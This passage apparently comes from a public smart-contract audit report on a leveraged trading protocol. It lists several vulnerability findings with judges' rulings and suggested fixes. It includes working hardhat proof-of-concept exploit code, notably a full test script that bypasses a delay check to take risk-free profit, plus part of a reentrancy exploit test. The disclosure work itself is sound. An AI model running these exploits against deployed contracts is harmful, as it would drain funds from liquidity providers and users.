position.limitOrders(1); let existing = false; for (let id of ids) { if (id.eq(otherUsersOrderId)) { existing = true; } } expect(existing).to.be.false; }); }); });
The test result
Reentrancy attack on Trading contract Exploit 'initiateLimitOrder()' and 'cancelLimitOrder' √ Cancelled order is still in 'limitOrders()' √ Other users' order is removed from 'limitOrders()'
hardhat
Add reentrancy protection for the following external functions
initiateMarketOrder() initiateCloseOrder() addToPosition() initiateLimitOrder() cancelLimitOrder() addMargin() removeMargin() updateTpSl() executeLimitOrder() liquidatePosition() limitClose()
#0 - c4-judge
2022-12-21T15:08:16Z
GalloDaSballo marked the issue as duplicate of #400
#1 - c4-judge
2022-12-21T15:08:38Z
GalloDaSballo marked the issue as not a duplicate
#2 - c4-judge
2022-12-21T15:09:16Z
GalloDaSballo marked the issue as duplicate of #400
#3 - c4-judge
2023-01-22T17:41:15Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: minhtrng
Also found by: 0Kage, Aymen0909, HollaDieWaldfee, Jeiwan, KingNFT, bin2chen, hansfriese, rvierdiiev
201.2303 USDC - $201.23
There is a typo error in addToPosition
function, causes no fee charged from user while adding position.
See the audit comment line, the user's deposit amount should be _addMargin
rather than _addMargin - _fee
.
function addToPosition( uint _id, uint _addMargin, PriceData calldata _priceData, bytes calldata _signature, address _stableVault, address _marginAsset, ERC20PermitData calldata _permitData, address _trader ) external { _validateProxy(_trader); _checkOwner(_id, _trader); _checkDelay(_id, true); IPosition.Trade memory _trade = position.trades(_id); tradingExtension.validateTrade(_trade.asset, _trade.tigAsset, _trade.margin + _addMargin, _trade.leverage); _checkVault(_stableVault, _marginAsset); if (_trade.orderType != 0) revert("4"); uint _fee = _handleOpenFees(_trade.asset, _addMargin*_trade.leverage/1e18, _trader, _trade.tigAsset, false); _handleDeposit( _trade.tigAsset, _marginAsset, _addMargin - _fee, // @audit should be _addMargin _stableVault, _permitData, _trader ); position.setAccInterest(_id); unchecked { (uint256 _price,) = tradingExtension.getVerifiedPrice(_trade.asset, _priceData, _signature, _trade.direction ? 1 : 2); uint _positionSize = (_addMargin - _fee) * _trade.leverage / 1e18; if (_trade.direction) { tradingExtension.modifyLongOi(_trade.asset, _trade.tigAsset, true, _positionSize); } else { tradingExtension.modifyShortOi(_trade.asset, _trade.tigAsset, true, _positionSize); } _updateFunding(_trade.asset, _trade.tigAsset); _addMargin -= _fee; uint _newMargin = _trade.margin + _addMargin; uint _newPrice = _trade.price*_trade.margin/_newMargin + _price*_addMargin/_newMargin; position.addToPosition( _trade.id, _newMargin, _newPrice ); emit AddToPosition(_trade.id, _newMargin, _newPrice, _trade.trader); } }
VS Code
Change _addMargin - _fee
to _addMargin
.
#0 - c4-judge
2022-12-20T16:16:38Z
GalloDaSballo marked the issue as duplicate of #659
#1 - c4-judge
2023-01-18T13:58:45Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-01-22T17:43:23Z
GalloDaSballo marked the issue as satisfactory
161.4811 USDC - $161.48
The current implementation uses _checkDelay()
function to prevent profitable opening and closing in the same tx with two different prices in the "valid signature pool". But the protection is not enough, an attacker can long with low price and short with high price at the same tx but two orders to lock profit and take risk free funds.
The following test case and comments show the details for how to exploit it
const { expect } = require("chai"); const { deployments, ethers, waffle } = require("hardhat"); const { parseEther, formatEther } = ethers.utils; const { signERC2612Permit } = require('eth-permit'); describe("Bypass delay check to earn risk free profit", function () { let owner; let node; let user; let node2; let node3; let proxy; let Trading; let trading; let TradingExtension; let tradingExtension; let TradingLibrary; let tradinglibrary; let StableToken; let stabletoken; let StableVault; let stablevault; let position; let pairscontract; let referrals; let permitSig; let permitSigUsdc; let MockDAI; let MockUSDC; let mockusdc; let badstablevault; let chainlink; beforeEach(async function () { await deployments.fixture(['test']); [owner, node, user, node2, node3, proxy] = await ethers.getSigners(); StableToken = await deployments.get("StableToken"); stabletoken = await ethers.getContractAt("StableToken", StableToken.address); Trading = await deployments.get("Trading"); trading = await ethers.getContractAt("Trading", Trading.address); TradingExtension = await deployments.get("TradingExtension"); tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address); const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address); const Referrals = await deployments.get("Referrals"); referrals = await ethers.getContractAt("Referrals", Referrals.address); StableVault = await deployments.get("StableVault"); stablevault = await ethers.getContractAt("StableVault", StableVault.address); await stablevault.connect(owner).listToken(MockDAI.address); await stablevault.connect(owner).listToken(MockUSDC.address); await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true); await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1")); await tradingExtension.connect(owner).setNode(node.address, true); await tradingExtension.connect(owner).setNode(node2.address, true); await tradingExtension.connect(owner).setNode(node3.address, true); await network.provider.send("evm_setNextBlockTimestamp", [2000000000]); await network.provider.send("evm_mine"); permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256); permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256); const BadStableVault = await ethers.getContractFactory("BadStableVault"); badstablevault = await BadStableVault.deploy(StableToken.address); const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed"); chainlink = await ChainlinkContract.deploy(); TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); }); describe("Simulate long with low price and short with high price at the same tx to lock profit", function () { let longId; let shortId; beforeEach(async function () { let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 1, parseEther("1000"), 0, 2000000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, parseEther("1000"), 0, 2000000000, false] ) ); let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; longId = await position.getCount(); await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); expect(await position.assetOpenPositionsLength(1)).to.equal(1); TradeInfo = [parseEther("1010"), MockDAI.address, StableVault.address, parseEther("10"), 1, false, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; PriceData = [node.address, 1, parseEther("1010"), 0, 2000000000, false]; message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, parseEther("1010"), 0, 2000000000, false] ) ); sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; shortId = await position.getCount(); await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); expect(await position.assetOpenPositionsLength(1)).to.equal(2); }); it.only("Exit at any price to take profit", async function () { // same time later, now we can close the orders await network.provider.send("evm_setNextBlockTimestamp", [2000000100]); await network.provider.send("evm_mine"); // any new price, can be changed to other price such as 950, just ensure enough margin let closePrice = parseEther("1050"); let closePriceData = [node.address, 1, closePrice, 0, 2000000100, false]; let closeMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, closePrice, 0, 2000000100, false] ) ); let closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); let balanceBefore = await stabletoken.balanceOf(owner.address); await trading.connect(owner).initiateCloseOrder(longId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); await trading.connect(owner).initiateCloseOrder(shortId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); let balanceAfter = await stabletoken.balanceOf(owner.address); let principal = parseEther("1000").add(parseEther("1010")); let profit = balanceAfter.sub(balanceBefore).sub(principal); expect(profit.gt(parseEther(`50`))).to.equal(true); }); it.only("Exit with another price pair to double profit", async function () { // some time later, now we can close the orders await network.provider.send("evm_setNextBlockTimestamp", [2000000100]); await network.provider.send("evm_mine"); // any new price pair, can be changed to other price such as (950, 960), just ensure enough margin let closePrice = parseEther("1050"); let closePriceData = [node.address, 1, closePrice, 0, 2000000100, false]; let closeMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, closePrice, 0, 2000000100, false] ) ); let closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); let balanceBefore = await stabletoken.balanceOf(owner.address); // close long with high price await trading.connect(owner).initiateCloseOrder(longId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); closePrice = parseEther("1040"); closePriceData = [node.address, 1, closePrice, 0, 2000000100, false]; closeMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, closePrice, 0, 2000000100, false] ) ); closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); // close short with low price await trading.connect(owner).initiateCloseOrder(shortId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); let balanceAfter = await stabletoken.balanceOf(owner.address); let principal = parseEther("1000").add(parseEther("1010")); let profit = balanceAfter.sub(balanceBefore).sub(principal); expect(profit.gt(parseEther(`100`))).to.equal(true); }); }); });
How to run Put the test case to a new BypassDelayCheck.js file of test directory, and run
npx hardhat test
And the test result will be
Bypass delay check to earn risk free profit Simulate long with low price and short with high price at the same tx to lock profit √ Exit at any price to take profit √ Exit with another price pair to double profit
VS Code, hardhat
Cache recent lowest and highest prices, open long order with the highest price and short order with the lowest price.
#0 - GalloDaSballo
2022-12-22T02:12:37Z
Primary because of coded POC
#1 - c4-judge
2022-12-22T02:12:41Z
GalloDaSballo marked the issue as primary issue
#2 - TriHaz
2023-01-09T15:43:34Z
We don't think this is valid as price sig expires in a very small window that would prevent a big price difference that could work in the same transaction to long & short. Also we have spread and funding fees that would make this so hard to be profitable.
#3 - c4-sponsor
2023-01-09T15:43:40Z
TriHaz marked the issue as sponsor disputed
#4 - GalloDaSballo
2023-01-16T09:43:59Z
The finding is effectively saying that while a delay exist, it doesn't truly offer any security guarantees because a trader could just open a trade on both sides, by using 2 different prices that are active at the same time.
Anytime the spread between the prices, magnified by leverage, is higher than the fees, the trade is profitable (an arbitrage) at the disadvantage of the LPers.
I think we don't have sufficient information to irrevocably mark this as a security vulnerability (just like there's no guarantee of prices being active once at a time, there's no guarantee there won't be).
For this reason, I believe the finding to be valid and of Medium Severity.
The finding is worth investigating once the system is deployed as it's reliant on settings and oracle behaviour
#5 - c4-judge
2023-01-16T09:44:05Z
GalloDaSballo changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-01-22T17:49:00Z
GalloDaSballo marked the issue as selected for report
#7 - GainsGoblin
2023-01-27T19:19:04Z
Oracle behaviour can easily mitigate this issue by setting appropriate spreads based on price movement, however there is nothing to be done in the contracts.
60.3691 USDC - $60.37
The _handleDeposit()
function doesn't process approve()
call to _marginAsset
properly, some non-standard ERC20 tokens such as USDT will revert the approve()
call if the previous allowance is not zero.
Then the system is unavailable to create any new orders of the same margin asset.
The vulnerability point
function _handleDeposit(address _tigAsset, address _marginAsset, uint256 _margin, address _stableVault, ERC20PermitData calldata _permitData, address _trader) internal { // ... if (_tigAsset != _marginAsset) { if (_permitData.usePermit) { //... IERC20(_marginAsset).approve(_stableVault, type(uint).max); // @audit unsafe approve // ... } else { // ... } }
The example of USDT
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); }
Source: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code
VS Code
Only approve once
function _handleDeposit(address _tigAsset, address _marginAsset, uint256 _margin, address _stableVault, ERC20PermitData calldata _permitData, address _trader) internal { // ... if (_tigAsset != _marginAsset) { if (_permitData.usePermit) { //... if (IERC20(_marginAsset).allowance(address(this), _stableVault) == 0) { // @fix IERC20(_marginAsset).approve(_stableVault, type(uint).max); // @fix } // @fix // ... } else { // ... } }
#0 - c4-judge
2022-12-20T17:42:44Z
GalloDaSballo marked the issue as duplicate of #198
#1 - c4-judge
2023-01-22T17:52:51Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xA5DF
Also found by: HollaDieWaldfee, Jeiwan, KingNFT
230.0301 USDC - $230.03
executeLimitOrder()
calls modifyLongOi()
and modifyShortOi()
with wrong position size, causes the following state variables wrongly updated
// Position.sol fundingDeltaPerSec longOi shortOi // PairsContract.sol _idToOi
The vulnerability points
function executeLimitOrder( uint _id, PriceData calldata _priceData, bytes calldata _signature ) external { unchecked { //... if (trade.direction) { tradingExtension.modifyLongOi(trade.asset, trade.tigAsset, true, trade.margin*trade.leverage/1e18); // @audit should be (trade.margin - _fee)*trade.leverage/1e18 } else { tradingExtension.modifyShortOi(trade.asset, trade.tigAsset, true, trade.margin*trade.leverage/1e18); // @audit should be (trade.margin - _fee)*trade.leverage/1e18 } // ... } }
VS Code
Use margin after fee to calculate position.
#0 - c4-judge
2022-12-22T00:29:59Z
GalloDaSballo marked the issue as duplicate of #576
#1 - c4-judge
2023-01-22T17:54:14Z
GalloDaSballo marked the issue as satisfactory
95.824 USDC - $95.82
_handleOpenFees()
is missing approve before calling gov.distribute()
, the gov contract will fail to distribute open fee.
vulnerability point
function _handleOpenFees( // ... ) internal returns (uint _feePaid) { // ... // @audit missing IStable(_tigAsset).approve(address(gov), type(uint).max); gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this))); }
related function
function distribute(address _tigAsset, uint _amount) external { if (assets.length == 0 || assets[assetsIndex[_tigAsset]] == address(0) || totalSupply() == 0 || !_allowedAsset[_tigAsset]) return; try IERC20(_tigAsset).transferFrom(_msgSender(), address(this), _amount) { accRewardsPerNFT[_tigAsset] += _amount/totalSupply(); } catch { return; } }
VS Code
function _handleOpenFees( // ... ) internal returns (uint _feePaid) { // ... + IStable(_tigAsset).approve(address(gov), type(uint).max); // @fix gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this))); }
#0 - c4-judge
2022-12-21T15:12:39Z
GalloDaSballo marked the issue as duplicate of #324
#1 - c4-judge
2022-12-22T01:09:48Z
GalloDaSballo marked the issue as duplicate of #256
#2 - c4-judge
2022-12-22T01:11:43Z
GalloDaSballo marked the issue as duplicate of #649
#3 - c4-judge
2023-01-22T17:53:28Z
GalloDaSballo marked the issue as satisfactory